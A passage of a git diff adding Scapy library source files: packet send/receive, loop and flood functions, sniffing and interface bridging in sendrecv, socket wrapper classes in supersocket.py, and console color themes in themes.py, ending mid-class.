+    if "timeout" not in kargs:
+        kargs["timeout"] = -1
+    s = conf.L3socket(promisc=promisc, filter=filter, iface=iface, nofilter=nofilter)
+    result = sndrcv(s, x, *args, **kargs)
+    s.close()
+    return result
+
+@conf.commands.register
+def sr1(x, promisc=None, filter=None, iface=None, nofilter=0, *args,**kargs):
+    """Send packets at layer 3 and return only the first answer
+nofilter: put 1 to avoid use of BPF filters
+retry:    if positive, how many times to resend unanswered packets
+          if negative, how many times to retry when no more packets are answered
+timeout:  how much time to wait after the last packet has been sent
+verbose:  set verbosity level
+multi:    whether to accept multiple answers for the same stimulus
+filter:   provide a BPF filter
+iface:    listen answers only on the given interface"""
+    if "timeout" not in kargs:
+        kargs["timeout"] = -1
+    s=conf.L3socket(promisc=promisc, filter=filter, nofilter=nofilter, iface=iface)
+    ans, _ = sndrcv(s, x, *args, **kargs)
+    s.close()
+    if len(ans) > 0:
+        return ans[0][1]
+    else:
+        return None
+
+@conf.commands.register
+def srp(x, promisc=None, iface=None, iface_hint=None, filter=None, nofilter=0, type=ETH_P_ALL, *args,**kargs):
+    """Send and receive packets at layer 2
+nofilter: put 1 to avoid use of BPF filters
+retry:    if positive, how many times to resend unanswered packets
+          if negative, how many times to retry when no more packets are answered
+timeout:  how much time to wait after the last packet has been sent
+verbose:  set verbosity level
+multi:    whether to accept multiple answers for the same stimulus
+filter:   provide a BPF filter
+iface:    work only on the given interface"""
+    if "timeout" not in kargs:
+        kargs["timeout"] = -1
+    if iface is None and iface_hint is not None:
+        iface = conf.route.route(iface_hint)[0]
+    s = conf.L2socket(promisc=promisc, iface=iface, filter=filter, nofilter=nofilter, type=type)
+    result = sndrcv(s, x, *args, **kargs)
+    s.close()
+    return result
+
+@conf.commands.register
+def srp1(*args,**kargs):
+    """Send and receive packets at layer 2 and return only the first answer
+nofilter: put 1 to avoid use of BPF filters
+retry:    if positive, how many times to resend unanswered packets
+          if negative, how many times to retry when no more packets are answered
+timeout:  how much time to wait after the last packet has been sent
+verbose:  set verbosity level
+multi:    whether to accept multiple answers for the same stimulus
+filter:   provide a BPF filter
+iface:    work only on the given interface"""
+    if "timeout" not in kargs:
+        kargs["timeout"] = -1
+    ans, _ = srp(*args, **kargs)
+    if len(ans) > 0:
+        return ans[0][1]
+    else:
+        return None
+
+# SEND/RECV LOOP METHODS
+
+def __sr_loop(srfunc, pkts, prn=lambda x:x[1].summary(), prnfail=lambda x:x.summary(), inter=1, timeout=None, count=None, verbose=None, store=1, *args, **kargs):
+    n = 0
+    r = 0
+    ct = conf.color_theme
+    if verbose is None:
+        verbose = conf.verb
+    parity = 0
+    ans=[]
+    unans=[]
+    if timeout is None:
+        timeout = min(2*inter, 5)
+    try:
+        while True:
+            parity ^= 1
+            col = [ct.even,ct.odd][parity]
+            if count is not None:
+                if count == 0:
+                    break
+                count -= 1
+            start = time.time()
+            if verbose > 1:
+                print("\rsend...\r", end=' ')
+            res = srfunc(pkts, timeout=timeout, verbose=0, chainCC=True, *args, **kargs)
+            n += len(res[0])+len(res[1])
+            r += len(res[0])
+            if verbose > 1 and prn and len(res[0]) > 0:
+                msg = "RECV %i:" % len(res[0])
+                print("\r"+ct.success(msg), end=' ')
+                for p in res[0]:
+                    print(col(prn(p)))
+                    print(" "*len(msg), end=' ')
+            if verbose > 1 and prnfail and len(res[1]) > 0:
+                msg = "fail %i:" % len(res[1])
+                print("\r"+ct.fail(msg), end=' ')
+                for p in res[1]:
+                    print(col(prnfail(p)))
+                    print(" "*len(msg), end=' ')
+            if verbose > 1 and not (prn or prnfail):
+                print("recv:%i  fail:%i" % tuple(map(len, res[:2])))
+            if store:
+                ans += res[0]
+                unans += res[1]
+            end=time.time()
+            if end-start < inter:
+                time.sleep(inter+start-end)
+    except KeyboardInterrupt:
+        pass
+ 
+    if verbose and n>0:
+        print(ct.normal("\nSent %i packets, received %i packets. %3.1f%% hits." % (n,r,100.0*r/n)))
+    return plist.SndRcvList(ans),plist.PacketList(unans)
+
+@conf.commands.register
+def srloop(pkts, *args, **kargs):
+    """Send a packet at layer 3 in loop and print the answer each time
+srloop(pkts, [prn], [inter], [count], ...) --> None"""
+    return __sr_loop(sr, pkts, *args, **kargs)
+
+@conf.commands.register
+def srploop(pkts, *args, **kargs):
+    """Send a packet at layer 2 in loop and print the answer each time
+srloop(pkts, [prn], [inter], [count], ...) --> None"""
+    return __sr_loop(srp, pkts, *args, **kargs)
+
+# SEND/RECV FLOOD METHODS
+
+def sndrcvflood(pks, pkt, inter=0, verbose=None, chainCC=False, prn=lambda x: x):
+    if not verbose:
+        verbose = conf.verb
+    if not isinstance(pkt, Gen):
+        pkt = SetGen(pkt)
+    tobesent = [p for p in pkt]
+
+    stopevent = threading.Event()
+    count_packets = six.moves.queue.Queue()
+
+    def send_in_loop(tobesent, stopevent, count_packets=count_packets):
+        """Infinite generator that produces the same packet until stopevent is triggered."""
+        while True:
+            for p in tobesent:
+                if stopevent.is_set():
+                    raise StopIteration()
+                count_packets.put(0)
+                yield p
+
+    infinite_gen = send_in_loop(tobesent, stopevent)
+
+    # We don't use _sndrcv_snd verbose (it messes the logs up as in a thread that ends after recieving)
+    thread = threading.Thread(
+        target=_sndrcv_snd,
+        args=(pks, None, inter, False, infinite_gen, stopevent),
+    )
+    thread.start()
+
+    hsent, ans, nbrecv, notans = _sndrcv_rcv(pks, tobesent, stopevent, 0, len(tobesent), verbose, chainCC, False)
+    thread.join()
+    remain = list(itertools.chain(*six.itervalues(hsent)))
+    # Apply prn
+    ans = [(x, prn(y)) for (x, y) in ans]
+
+    if verbose:
+        print("\nReceived %i packets, got %i answers, remaining %i packets. Sent a total of %i packets." % (nbrecv+len(ans), len(ans), notans, count_packets.qsize()))
+    count_packets.empty()
+    del count_packets
+
+    return plist.SndRcvList(ans), plist.PacketList(remain, "Unanswered")
+
+@conf.commands.register
+def srflood(x, promisc=None, filter=None, iface=None, nofilter=None, *args,**kargs):
+    """Flood and receive packets at layer 3
+prn:      function applied to packets received
+unique:   only consider packets whose print 
+nofilter: put 1 to avoid use of BPF filters
+filter:   provide a BPF filter
+iface:    listen answers only on the given interface"""
+    s = conf.L3socket(promisc=promisc, filter=filter, iface=iface, nofilter=nofilter)
+    r=sndrcvflood(s,x,*args,**kargs)
+    s.close()
+    return r
+
+@conf.commands.register
+def sr1flood(x, promisc=None, filter=None, iface=None, nofilter=0, *args,**kargs):
+    """Flood and receive packets at layer 3 and return only the first answer
+prn:      function applied to packets received
+verbose:  set verbosity level
+nofilter: put 1 to avoid use of BPF filters
+filter:   provide a BPF filter
+iface:    listen answers only on the given interface"""
+    s=conf.L3socket(promisc=promisc, filter=filter, nofilter=nofilter, iface=iface)
+    ans, _ = sndrcvflood(s, x, *args, **kargs)
+    s.close()
+    if len(ans) > 0:
+        return ans[0][1]
+    else:
+        return None
+
+@conf.commands.register
+def srpflood(x, promisc=None, filter=None, iface=None, iface_hint=None, nofilter=None, *args,**kargs):
+    """Flood and receive packets at layer 2
+prn:      function applied to packets received
+unique:   only consider packets whose print 
+nofilter: put 1 to avoid use of BPF filters
+filter:   provide a BPF filter
+iface:    listen answers only on the given interface"""
+    if iface is None and iface_hint is not None:
+        iface = conf.route.route(iface_hint)[0]    
+    s = conf.L2socket(promisc=promisc, filter=filter, iface=iface, nofilter=nofilter)
+    r=sndrcvflood(s,x,*args,**kargs)
+    s.close()
+    return r
+
+@conf.commands.register
+def srp1flood(x, promisc=None, filter=None, iface=None, nofilter=0, *args,**kargs):
+    """Flood and receive packets at layer 2 and return only the first answer
+prn:      function applied to packets received
+verbose:  set verbosity level
+nofilter: put 1 to avoid use of BPF filters
+filter:   provide a BPF filter
+iface:    listen answers only on the given interface"""
+    s=conf.L2socket(promisc=promisc, filter=filter, nofilter=nofilter, iface=iface)
+    ans, _ = sndrcvflood(s, x, *args, **kargs)
+    s.close()
+    if len(ans) > 0:
+        return ans[0][1]
+    else:
+        return None
+
+# SNIFF METHODS
+
+@conf.commands.register
+def sniff(count=0, store=True, offline=None, prn=None, lfilter=None,
+          L2socket=None, timeout=None, opened_socket=None,
+          stop_filter=None, iface=None, *arg, **karg):
+    """
+
+Sniff packets and return a list of packets.
+
+Arguments:
+
+  count: number of packets to capture. 0 means infinity.
+
+  store: whether to store sniffed packets or discard them
+
+  prn: function to apply to each packet. If something is returned, it
+      is displayed.
+
+      Ex: prn = lambda x: x.summary()
+
+  filter: BPF filter to apply.
+
+  lfilter: Python function applied to each packet to determine if
+      further action may be done.
+
+      Ex: lfilter = lambda x: x.haslayer(Padding)
+
+  offline: PCAP file (or list of PCAP files) to read packets from,
+      instead of sniffing them
+
+  timeout: stop sniffing after a given time (default: None).
+
+  L2socket: use the provided L2socket (default: use conf.L2listen).
+
+  opened_socket: provide an object (or a list of objects) ready to use
+      .recv() on.
+
+  stop_filter: Python function applied to each packet to determine if
+      we have to stop the capture after this packet.
+
+      Ex: stop_filter = lambda x: x.haslayer(TCP)
+
+  iface: interface or list of interfaces (default: None for sniffing
+      on all interfaces).
+
+The iface, offline and opened_socket parameters can be either an
+element, a list of elements, or a dict object mapping an element to a
+label (see examples below).
+
+Examples:
+
+  >>> sniff(filter="arp")
+
+  >>> sniff(lfilter=lambda pkt: ARP in pkt)
+
+  >>> sniff(iface="eth0", prn=Packet.summary)
+
+  >>> sniff(iface=["eth0", "mon0"],
+  ...       prn=lambda pkt: "%s: %s" % (pkt.sniffed_on,
+  ...                                   pkt.summary()))
+
+  >>> sniff(iface={"eth0": "Ethernet", "mon0": "Wifi"},
+  ...       prn=lambda pkt: "%s: %s" % (pkt.sniffed_on,
+  ...                                   pkt.summary()))
+
+    """
+    c = 0
+    sniff_sockets = {}  # socket: label dict
+    if opened_socket is not None:
+        if isinstance(opened_socket, list):
+            sniff_sockets.update((s, "socket%d" % i)
+                                 for i, s in enumerate(opened_socket))
+        elif isinstance(opened_socket, dict):
+            sniff_sockets.update((s, label)
+                                 for s, label in six.iteritems(opened_socket))
+        else:
+            sniff_sockets[opened_socket] = "socket0"
+    if offline is not None:
+        flt = karg.get('filter')
+        if isinstance(offline, list):
+            sniff_sockets.update((PcapReader(
+                fname if flt is None else
+                tcpdump(fname, args=["-w", "-", flt], getfd=True)
+            ), fname) for fname in offline)
+        elif isinstance(offline, dict):
+            sniff_sockets.update((PcapReader(
+                fname if flt is None else
+                tcpdump(fname, args=["-w", "-", flt], getfd=True)
+            ), label) for fname, label in six.iteritems(offline))
+        else:
+            sniff_sockets[PcapReader(
+                offline if flt is None else
+                tcpdump(offline, args=["-w", "-", flt], getfd=True)
+            )] = offline
+    if not sniff_sockets or iface is not None:
+        if L2socket is None:
+            L2socket = conf.L2listen
+        if isinstance(iface, list):
+            sniff_sockets.update(
+                (L2socket(type=ETH_P_ALL, iface=ifname, *arg, **karg), ifname)
+                for ifname in iface
+            )
+        elif isinstance(iface, dict):
+            sniff_sockets.update(
+                (L2socket(type=ETH_P_ALL, iface=ifname, *arg, **karg), iflabel)
+                for ifname, iflabel in six.iteritems(iface)
+            )
+        else:
+            sniff_sockets[L2socket(type=ETH_P_ALL, iface=iface,
+                                   *arg, **karg)] = iface
+    lst = []
+    if timeout is not None:
+        stoptime = time.time()+timeout
+    remain = None
+    read_allowed_exceptions = ()
+    if conf.use_bpf:
+        from scapy.arch.bpf.supersocket import bpf_select
+        def _select(sockets):
+            return bpf_select(sockets, remain)
+    elif WINDOWS:
+        from scapy.arch.pcapdnet import PcapTimeoutElapsed
+        read_allowed_exceptions = (PcapTimeoutElapsed,)
+        def _select(sockets):
+            try:
+                return sockets
+            except PcapTimeoutElapsed:
+                return []
+    else:
+        def _select(sockets):
+            try:
+                return select(sockets, [], [], remain)[0]
+            except select_error as exc:
+                # Catch 'Interrupted system call' errors
+                if exc[0] == errno.EINTR:
+                    return []
+                raise
+    try:
+        while sniff_sockets:
+            if timeout is not None:
+                remain = stoptime-time.time()
+                if remain <= 0:
+                    break
+            ins = _select(sniff_sockets)
+            for s in ins:
+                try:
+                    p = s.recv()
+                except read_allowed_exceptions:
+                    continue
+                if p is None:
+                    del sniff_sockets[s]
+                    break
+                if lfilter and not lfilter(p):
+                    continue
+                p.sniffed_on = sniff_sockets[s]
+                if store:
+                    lst.append(p)
+                c += 1
+                if prn:
+                    r = prn(p)
+                    if r is not None:
+                        print(r)
+                if stop_filter and stop_filter(p):
+                    sniff_sockets = []
+                    break
+                if 0 < count <= c:
+                    sniff_sockets = []
+                    break
+    except KeyboardInterrupt:
+        pass
+    if opened_socket is None:
+        for s in sniff_sockets:
+            s.close()
+    return plist.PacketList(lst,"Sniffed")
+
+
+@conf.commands.register
+def bridge_and_sniff(if1, if2, xfrm12=None, xfrm21=None, prn=None, L2socket=None,
+                     *args, **kargs):
+    """Forward traffic between interfaces if1 and if2, sniff and return
+the exchanged packets.
+
+Arguments:
+
+  if1, if2: the interfaces to use (interface names or opened sockets).
+
+  xfrm12: a function to call when forwarding a packet from if1 to
+      if2. If it returns True, the packet is forwarded as it. If it
+      returns False or None, the packet is discarded. If it returns a
+      packet, this packet is forwarded instead of the original packet
+      one.
+
+  xfrm21: same as xfrm12 for packets forwarded from if2 to if1.
+
+  The other arguments are the same than for the function sniff(),
+      except for offline, opened_socket and iface that are ignored.
+      See help(sniff) for more.
+
+    """
+    for arg in ['opened_socket', 'offline', 'iface']:
+        if arg in kargs:
+            log_runtime.warning("Argument %s cannot be used in "
+                                "bridge_and_sniff() -- ignoring it.", arg)
+            del kargs[arg]
+    def _init_socket(iface, count):
+        if isinstance(iface, SuperSocket):
+            return iface, "iface%d" % count
+        else:
+            return (L2socket or conf.L2socket)(iface=iface), iface
+    sckt1, if1 = _init_socket(if1, 1)
+    sckt2, if2 = _init_socket(if2, 2)
+    peers = {if1: sckt2, if2: sckt1}
+    xfrms = {}
+    if xfrm12 is not None:
+        xfrms[if1] = xfrm12
+    if xfrm21 is not None:
+        xfrms[if2] = xfrm21
+    def prn_send(pkt):
+        try:
+            sendsock = peers[pkt.sniffed_on]
+        except KeyError:
+            return
+        if pkt.sniffed_on in xfrms:
+            try:
+                newpkt = xfrms[pkt.sniffed_on](pkt)
+            except:
+                log_runtime.warning(
+                    'Exception in transformation function for packet [%s] '
+                    'received on %s -- dropping',
+                    pkt.summary(), pkt.sniffed_on, exc_info=True
+                )
+                return
+            else:
+                if newpkt is True:
+                    newpkt = pkt.original
+                elif not newpkt:
+                    return
+        else:
+            newpkt = pkt.original
+        try:
+            sendsock.send(newpkt)
+        except:
+            log_runtime.warning('Cannot forward packet [%s] received on %s',
+                                pkt.summary(), pkt.sniffed_on, exc_info=True)
+    if prn is None:
+        prn = prn_send
+    else:
+        prn_orig = prn
+        def prn(pkt):
+            prn_send(pkt)
+            return prn_orig(pkt)
+
+    return sniff(opened_socket={sckt1: if1, sckt2: if2}, prn=prn,
+                 *args, **kargs)
+
+
+@conf.commands.register
+def tshark(*args,**kargs):
+    """Sniff packets and print them calling pkt.summary(), a bit like text wireshark"""
+    print("Capturing on '" + str(kargs.get('iface') if 'iface' in kargs else conf.iface) + "'")
+    i = [0]  # This should be a nonlocal variable, using a mutable object for Python 2 compatibility
+    def _cb(pkt):
+        print("%5d\t%s" % (i[0], pkt.summary()))
+        i[0] += 1
+    sniff(prn=_cb, store=False, *args, **kargs)
+    print("\n%d packet%s captured" % (i[0], 's' if i[0] > 1 else ''))
diff --git a/scapy/supersocket.py b/scapy/supersocket.py
new file mode 100644
index 0000000..8903595
--- /dev/null
+++ b/scapy/supersocket.py
@@ -0,0 +1,302 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+SuperSocket.
+"""
+
+from __future__ import absolute_import
+import os
+import socket
+import subprocess
+import struct
+import time
+
+from scapy.config import conf
+from scapy.consts import LINUX, OPENBSD, BSD, DARWIN, WINDOWS
+from scapy.data import *
+from scapy.compat import *
+from scapy.error import warning, log_runtime
+import scapy.modules.six as six
+import scapy.packet
+from scapy.utils import PcapReader, tcpdump
+
+class _SuperSocket_metaclass(type):
+    def __repr__(self):
+        if self.desc is not None:
+            return "<%s: %s>" % (self.__name__,self.desc)
+        else:
+            return "<%s>" % self.__name__
+
+
+class SuperSocket(six.with_metaclass(_SuperSocket_metaclass)):
+    desc = None
+    closed=0
+    def __init__(self, family=socket.AF_INET,type=socket.SOCK_STREAM, proto=0):
+        self.ins = socket.socket(family, type, proto)
+        self.outs = self.ins
+        self.promisc=None
+    def send(self, x):
+        sx = raw(x)
+        if hasattr(x, "sent_time"):
+            x.sent_time = time.time()
+        return self.outs.send(sx)
+    def recv(self, x=MTU):
+        return conf.raw_layer(self.ins.recv(x))
+    def fileno(self):
+        return self.ins.fileno()
+    def close(self):
+        if self.closed:
+            return
+        self.closed = True
+        if hasattr(self, "outs"):
+            if not hasattr(self, "ins") or self.ins != self.outs:
+                if self.outs and self.outs.fileno() != -1:
+                    self.outs.close()
+        if hasattr(self, "ins"):
+            if self.ins and self.ins.fileno() != -1:
+                self.ins.close()
+    def sr(self, *args, **kargs):
+        from scapy import sendrecv
+        return sendrecv.sndrcv(self, *args, **kargs)
+    def sr1(self, *args, **kargs):        
+        from scapy import sendrecv
+        a,b = sendrecv.sndrcv(self, *args, **kargs)
+        if len(a) > 0:
+            return a[0][1]
+        else:
+            return None
+    def sniff(self, *args, **kargs):
+        from scapy import sendrecv
+        return sendrecv.sniff(opened_socket=self, *args, **kargs)
+
+class L3RawSocket(SuperSocket):
+    desc = "Layer 3 using Raw sockets (PF_INET/SOCK_RAW)"
+    def __init__(self, type = ETH_P_IP, filter=None, iface=None, promisc=None, nofilter=0):
+        self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
+        self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
+        self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
+        if iface is not None:
+            self.ins.bind((iface, type))
+    def recv(self, x=MTU):
+        pkt, sa_ll = self.ins.recvfrom(x)
+        if sa_ll[2] == socket.PACKET_OUTGOING:
+            return None
+        if sa_ll[3] in conf.l2types:
+            cls = conf.l2types[sa_ll[3]]
+            lvl = 2
+        elif sa_ll[1] in conf.l3types:
+            cls = conf.l3types[sa_ll[1]]
+            lvl = 3
+        else:
+            cls = conf.default_l2
+            warning("Unable to guess type (interface=%s protocol=%#x family=%i). Using %s", sa_ll[0], sa_ll[1], sa_ll[3], cls.name)
+            lvl = 3
+
+        try:
+            pkt = cls(pkt)
+        except KeyboardInterrupt:
+            raise
+        except:
+            if conf.debug_dissector:
+                raise
+            pkt = conf.raw_layer(pkt)
+        if lvl == 2:
+            pkt = pkt.payload
+            
+        if pkt is not None:
+            from scapy.arch import get_last_packet_timestamp
+            pkt.time = get_last_packet_timestamp(self.ins)
+        return pkt
+    def send(self, x):
+        try:
+            sx = raw(x)
+            x.sent_time = time.time()
+            self.outs.sendto(sx,(x.dst,0))
+        except socket.error as msg:
+            log_runtime.error(msg)
+
+class SimpleSocket(SuperSocket):
+    desc = "wrapper around a classic socket"
+    def __init__(self, sock):
+        self.ins = sock
+        self.outs = sock
+
+
+class StreamSocket(SimpleSocket):
+    desc = "transforms a stream socket into a layer 2"
+    def __init__(self, sock, basecls=None):
+        if basecls is None:
+            basecls = conf.raw_layer
+        SimpleSocket.__init__(self, sock)
+        self.basecls = basecls
+        
+    def recv(self, x=MTU):
+        pkt = self.ins.recv(x, socket.MSG_PEEK)
+        x = len(pkt)
+        if x == 0:
+            raise socket.error((100,"Underlying stream socket tore down"))
+        pkt = self.basecls(pkt)
+        pad = pkt.getlayer(conf.padding_layer)
+        if pad is not None and pad.underlayer is not None:
+            del(pad.underlayer.payload)
+        from scapy.packet import NoPayload
+        while pad is not None and not isinstance(pad, NoPayload):
+            x -= len(pad.load)
+            pad = pad.payload
+        self.ins.recv(x)
+        return pkt
+
+class SSLStreamSocket(StreamSocket):
+    desc = "similar usage than StreamSocket but specialized for handling SSL-wrapped sockets"
+
+    def __init__(self, sock, basecls=None):
+        self._buf = b""
+        super(SSLStreamSocket, self).__init__(sock, basecls)
+
+    #65535, the default value of x is the maximum length of a TLS record
+    def recv(self, x=65535):
+        pkt = None
+        if self._buf != b"":
+            try:
+                pkt = self.basecls(self._buf)
+            except:
+                # We assume that the exception is generated by a buffer underflow
+                pass
+
+        if not pkt:
+            buf = self.ins.recv(x)
+            if len(buf) == 0:
+                raise socket.error((100,"Underlying stream socket tore down"))
+            self._buf += buf
+
+        x = len(self._buf)
+        pkt = self.basecls(self._buf)
+        pad = pkt.getlayer(conf.padding_layer)
+
+        if pad is not None and pad.underlayer is not None:
+            del(pad.underlayer.payload)
+        while pad is not None and not isinstance(pad, scapy.packet.NoPayload):
+            x -= len(pad.load)
+            pad = pad.payload
+        self._buf = self._buf[x:]
+        return pkt
+
+
+class L2ListenTcpdump(SuperSocket):
+    desc = "read packets at layer 2 using tcpdump"
+
+    def __init__(self, iface=None, promisc=None, filter=None, nofilter=False,
+                 prog=None, *arg, **karg):
+        self.outs = None
+        args = ['-w', '-', '-s', '65535']
+        if iface is not None:
+            if WINDOWS:
+                try:
+                    args.extend(['-i', iface.pcap_name])
+                except AttributeError:
+                    args.extend(['-i', iface])
+            else:
+                args.extend(['-i', iface])
+        elif WINDOWS or DARWIN:
+            args.extend(['-i', conf.iface.pcap_name if WINDOWS else conf.iface])
+        if not promisc:
+            args.append('-p')
+        if not nofilter:
+            if conf.except_filter:
+                if filter:
+                    filter = "(%s) and not (%s)" % (filter, conf.except_filter)
+                else:
+                    filter = "not (%s)" % conf.except_filter
+        if filter is not None:
+            args.append(filter)
+        self.tcpdump_proc = tcpdump(None, prog=prog, args=args, getproc=True)
+        self.ins = PcapReader(self.tcpdump_proc.stdout)
+    def recv(self, x=MTU):
+        return self.ins.recv(x)
+    def close(self):
+        SuperSocket.close(self)
+        self.tcpdump_proc.kill()
+
+
+class TunTapInterface(SuperSocket):
+    """A socket to act as the host's peer of a tun / tap interface.
+
+    """
+    desc = "Act as the host's peer of a tun / tap interface"
+
+    def __init__(self, iface=None, mode_tun=None, *arg, **karg):
+        self.iface = conf.iface if iface is None else iface
+        self.mode_tun = ("tun" in iface) if mode_tun is None else mode_tun
+        self.closed = True
+        self.open()
+
+    def __enter__(self):
+        return self
+
+    def __del__(self):
+        self.close()
+
+    def __exit__(self, *_):
+        self.close()
+
+    def open(self):
+        """Open the TUN or TAP device."""
+        if not self.closed:
+            return
+        self.outs = self.ins = open(
+            "/dev/net/tun" if LINUX else ("/dev/%s" % self.iface), "r+b",
+            buffering=0
+        )
+        if LINUX:
+            from fcntl import ioctl
+            # TUNSETIFF = 0x400454ca
+            # IFF_TUN = 0x0001
+            # IFF_TAP = 0x0002
+            # IFF_NO_PI = 0x1000
+            ioctl(self.ins, 0x400454ca, struct.pack(
+                "16sH", raw(self.iface), 0x0001 if self.mode_tun else 0x1002,
+            ))
+        self.closed = False
+
+    def __call__(self, *arg, **karg):
+        """Needed when using an instantiated TunTapInterface object for
+conf.L2listen, conf.L2socket or conf.L3socket.
+
+        """
+        return self
+
+    def recv(self, x=MTU):
+        if self.mode_tun:
+            data = os.read(self.ins.fileno(), x + 4)
+            proto = struct.unpack('!H', data[2:4])[0]
+            return conf.l3types.get(proto, conf.raw_layer)(data[4:])
+        return conf.l2types.get(1, conf.raw_layer)(
+            os.read(self.ins.fileno(), x)
+        )
+
+    def send(self, x):
+        sx = raw(x)
+        if hasattr(x, "sent_time"):
+            x.sent_time = time.time()
+        if self.mode_tun:
+            try:
+                proto = conf.l3types[type(x)]
+            except KeyError:
+                log_runtime.warning(
+                    "Cannot find layer 3 protocol value to send %s in "
+                    "conf.l3types, using 0",
+                    x.name if hasattr(x, "name") else type(x).__name__
+                )
+                proto = 0
+            sx = struct.pack('!HH', 0, proto) + sx
+        try:
+            os.write(self.outs.fileno(), sx)
+        except socket.error:
+            log_runtime.error("%s send", self.__class__.__name__, exc_info=True)
+
+
+if conf.L3socket is None:
+    conf.L3socket = L3RawSocket
diff --git a/scapy/themes.py b/scapy/themes.py
new file mode 100644
index 0000000..9a201a8
--- /dev/null
+++ b/scapy/themes.py
@@ -0,0 +1,318 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Color themes for the interactive console.
+"""
+
+##################
+## Color themes ##
+##################
+
+class ColorTable:
+    colors = { # Format: (ansi, pygments)
+        "normal": ("\033[0m", "noinherit"),
+        "black": ("\033[30m", "#ansiblack"),
+        "red": ("\033[31m", "#ansired"),
+        "green": ("\033[32m", "#ansigreen"),
+        "yellow": ("\033[33m", "#ansiyellow"),
+        "blue": ("\033[34m", "#ansiblue"),
+        "purple": ("\033[35m", "#ansipurple"),
+        "cyan": ("\033[36m", "#ansicyan"),
+        "grey": ("\033[37m", "#ansigrey"),
+
+        "bold": ("\033[1m", "bold"),
+        "uline": ("\033[4m", "underline"),
+        "blink": ("\033[5m", ""),
+        "invert": ("\033[7m", ""),
+        }
+
+    def __repr__(self):
+        return "<ColorTable>"
+
+    def __getattr__(self, attr):
+        return self.colors.get(attr, [""])[0]
+    
+    def ansi_to_pygments(self, x): # Transform ansi encoded text to Pygments text
+        inv_map = {v[0]: v[1] for k, v in self.colors.items()}
+        for k, v in inv_map.items():
+            x = x.replace(k, " "+v)
+        return x.strip()
+        
+Color = ColorTable()
+
+def create_styler(fmt=None, before="", after="", fmt2="%s"):
+    def do_style(val, fmt=fmt, before=before, after=after, fmt2=fmt2):
+        if fmt is None:
+            if not isinstance(val, str):
+                val = str(val)
+        else:
+            val = fmt % val
+        return fmt2 % (before+val+after)
+    return do_style
+
+class ColorTheme:
+    def __repr__(self):
+        return "<%s>" % self.__class__.__name__
+    def __reduce__(self):
+        return (self.__class__, (), ())
+    def __getattr__(self, attr):
+        if attr in ["__getstate__", "__setstate__", "__getinitargs__",
+                    "__reduce_ex__"]:
+            raise AttributeError()
+        return create_styler()
+        
+
+class NoTheme(ColorTheme):
+    pass
+
+
+class AnsiColorTheme(ColorTheme):
+    def __getattr__(self, attr):
+        if attr.startswith("__"):
+            raise AttributeError(attr)
+        s = "style_%s" % attr 
+        if s in self.__class__.__dict__:
+            before = getattr(self, s)
+            after = self.style_normal
+        else:
+            before = after = ""
+
+        return create_styler(before=before, after=after)
+        
+        
+    style_normal = ""
+    style_prompt = ""
+    style_punct = ""
+    style_id = ""
+    style_not_printable = ""
+    style_layer_name = ""
+    style_field_name = ""
+    style_field_value = ""
+    style_emph_field_name = ""
+    style_emph_field_value = ""
+    style_packetlist_name = ""
+    style_packetlist_proto = ""
+    style_packetlist_value = ""
+    style_fail = ""
+    style_success = ""
+    style_odd = ""
+    style_even = ""
+    style_opening = ""
+    style_active = ""
+    style_closed = ""
+    style_left = ""
+    style_right = ""
+    style_logo = ""
+
+class BlackAndWhite(AnsiColorTheme):
+    pass
+
+class DefaultTheme(AnsiColorTheme):
+    style_normal = Color.normal
+    style_prompt = Color.blue+Color.bold
+    style_punct = Color.normal
+    style_id = Color.blue+Color.bold
+    style_not_printable = Color.grey
+    style_layer_name = Color.red+Color.bold
+    style_field_name = Color.blue
+    style_field_value = Color.purple
+    style_emph_field_name = Color.blue+Color.uline+Color.bold
+    style_emph_field_value = Color.purple+Color.uline+Color.bold
+    style_packetlist_name = Color.red+Color.bold
+    style_packetlist_proto = Color.blue
+    style_packetlist_value = Color.purple
+    style_fail = Color.red+Color.bold
+    style_success = Color.blue+Color.bold
+    style_even = Color.black+Color.bold
+    style_odd = Color.black
+    style_opening = Color.yellow
+    style_active = Color.black
+    style_closed = Color.grey
+    style_left = Color.blue+Color.invert
+    style_right = Color.red+Color.invert
+    style_logo = Color.green+Color.bold
+    
+class BrightTheme(AnsiColorTheme):
+    style_normal = Color.normal
+    style_punct = Color.normal
+    style_id = Color.yellow+Color.bold
+    style_layer_name = Color.red+Color.bold
+    style_field_name = Color.yellow+Color.bold
+    style_field_value = Color.purple+Color.bold
+    style_emph_field_name = Color.yellow+Color.bold
+    style_emph_field_value = Color.green+Color.bold
+    style_packetlist_name = Color.red+Color.bold
+    style_packetlist_proto = Color.yellow+Color.bold
+    style_packetlist_value = Color.purple+Color.bold
+    style_fail = Color.red+Color.bold
+    style_success = Color.blue+Color.bold
+    style_even = Color.black+Color.bold
+    style_odd = Color.black
+    style_left = Color.cyan+Color.invert
+    style_right = Color.purple+Color.invert
+    style_logo = Color.green+Color.bold
+
+
+class RastaTheme(AnsiColorTheme):
+    style_normal = Color.normal+Color.green+Color.bold
+    style_prompt = Color.yellow+Color.bold
+    style_punct = Color.red
+    style_id = Color.green+Color.bold
+    style_not_printable = Color.green
+    style_layer_name = Color.red+Color.bold
+    style_field_name = Color.yellow+Color.bold
+    style_field_value = Color.green+Color.bold
+    style_emph_field_name = Color.green
+    style_emph_field_value = Color.green
+    style_packetlist_name = Color.red+Color.bold
+    style_packetlist_proto = Color.yellow+Color.bold
+    style_packetlist_value = Color.green+Color.bold
+    style_fail = Color.red
+    style_success = Color.red+Color.bold
+    style_even = Color.yellow
+    style_odd = Color.green
+    style_left = Color.yellow+Color.invert
+    style_right = Color.red+Color.invert
+    style_logo = Color.green+Color.bold
+
+
+class ColorOnBlackTheme(AnsiColorTheme):
+    """Color theme for black backgrounds"""
+    style_normal = Color.normal
+    style_prompt = Color.green+Color.bold
+    style_punct = Color.normal
+    style_id = Color.green
+    style_not_printable = Color.black+Color.bold
+    style_layer_name = Color.yellow+Color.bold
+    style_field_name = Color.cyan
+    style_field_value = Color.purple+Color.bold
